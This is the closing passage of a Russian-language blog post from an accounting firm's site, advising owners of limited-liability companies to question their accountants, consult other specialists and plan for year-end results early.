На первый взгляд, вышеизложенное может показаться довольно сложным, но тщательно прочитав пару раз, все станет ясно. Обычно мы несколько раз объясняем нашим клиентам сложные моменты, чтобы было понятно, какими можно получить последствия в работе.

Что можно посоветовать владельцам:

 

1. Если у вас уже есть бухгалтер, задавайте ему много вопросов: откуда возникают доходы и затраты, как формируется прибыль. Вы и сами поймете больше, и заодно проверите своего бухгалтера на профессионализм.
2. Консультируйтесь с другими бухгалтерами, чтобы разобраться. Владельцу такие знания необходимы в любом случае, потому что это влияет на личные деньги.
3. Начинайте думать о результатах года раньше декабря и ноября – поскольку иногда бывает поздно.
4. Помните, что опытный бухгалтер может подсказать пути выхода из тяжелой ситуации, если вы уже в нее попали, советуйтесь с несколькими специалистами.

The post О доходах и расходах: что должны знать владельцы ООО? appeared first on Assets.

]]> http://assets-buh.com.ua/uk/kogda-malo-deneg/feed/ 0